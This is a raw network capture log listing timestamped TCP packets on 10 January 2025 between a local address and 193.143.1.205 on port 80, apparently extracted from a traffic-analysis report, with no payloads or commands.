Jan 10, 2025 14:54:13.376743078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.376813889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376818895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376830101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376836061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376847029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376862049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.376904964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.376957893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376962900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376974106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376980066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.377021074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.377053976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.377489090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.377495050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.377506971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.377559900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.377600908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.377609015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.377656937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.377685070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.377698898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.377705097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.377711058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.377717018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.377754927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.377783060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.377845049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.377850056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.377861023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.377866983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.377899885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.377937078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.377963066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.377969980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.378015041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.378371000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.378397942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.378407955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.378449917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.378500938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.378506899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.378519058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.378524065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.378556967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.381999016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.394222975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.403244972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.403264046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.403280020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.403285980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.403357983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.443779945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.444678068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.444685936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.444696903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.444721937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.444727898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.444735050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.444741011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.444756985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.444802046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.444818974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.444825888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.444849014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.444854021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.444874048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.444901943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.448040009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.461437941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.462220907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.462229967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.462245941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.462260008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.462269068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.462275982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.462316990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.462340117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.462346077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.462347984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.462368965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.462399960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.462419033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.462424994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.462429047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.462469101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.475301981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.485666037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.485672951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.485685110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.485691071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.485743999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.485749960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.485774040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.485810041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.485821009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.485826015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.485847950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.485877037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.485899925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.485905886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.485953093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.485976934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.485985994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.486032963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.494070053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.503648996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.503671885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.503680944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.503700972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.503706932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.503767967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.503773928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.503783941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.503789902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.503810883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.503851891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.503901005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.503961086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.503967047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504014969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.504021883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504038095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504089117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504117966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504131079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504148960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.504160881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.504203081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504209042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504210949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.504259109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.504300117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504323006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504333973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504355907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504374027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.504410028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.504424095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504468918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504475117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504514933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.504590988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504596949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504637003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504646063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.504651070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504657984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504671097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.504710913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.504770994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504776955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504787922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504793882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504800081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504822969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.504887104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.504904032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504909992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504945040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.504955053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.504981041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.505198956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.505206108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.505217075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.505223989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.505255938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.505270958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.505276918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.505292892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.505316973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.505435944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.505441904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.505453110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.505459070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.505471945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.505481005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.505490065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.505526066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.505556107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.505562067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.505572081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.505608082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.508692026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.508701086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.508719921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.508724928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.508742094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.508745909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.508757114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.508775949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.508793116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.508799076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.508831024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.508835077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.508867979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.508910894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.508917093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.508928061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.508934021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.508953094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.508956909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.508995056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.509013891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.509018898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.509021997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.509058952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.509150028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.509211063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.509217024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.509227991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.509269953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.509275913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.509298086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.509334087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.509339094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.509341002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.509377956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.509430885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.509464979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.509476900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.509510994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.509547949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.509648085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.509658098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.509668112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.509674072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.509680033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.509685040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.509707928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.509748936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.532099009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.532110929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.532123089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.532130957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.532182932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.532188892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.532201052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.532202959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.532207966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.532213926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.532269955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.532305002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.532311916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.532365084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.532393932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.532399893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.532409906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.532449007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.549722910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.549887896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.549900055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.549911976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.549916983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.549922943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.549933910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.549971104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.549998045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.570082903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.573191881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.573244095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.573262930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.573299885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.573318005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.573319912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.573334932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.573334932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.573354006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.573371887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.573374987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.573389053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.573406935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.573410988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.573436975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.573478937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.573519945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.573532104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.573538065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.573554993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.573579073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.573592901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.573637962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.591137886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.591191053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.591223955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.591250896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.591274023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.591305971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.591324091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.591355085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.591387987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.591399908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.591422081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.591476917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.591507912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.591540098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.591572046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.591583967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.591604948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.591644049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.591655016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.591687918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.591731071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.591737032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.591768980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.591797113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.591816902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.591844082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.591876030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.591901064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.591924906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.591958046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.591980934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.591989040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592034101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.592041016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592087984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592120886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592128992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.592168093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592199087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592210054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.592230082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592262983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592276096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.592293978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592340946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592341900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.592387915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592420101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592430115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.592451096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592484951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592493057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.592534065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592566967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592577934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.592597961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592629910 CET	80	49730	193.143.1.205	192.168.2.4
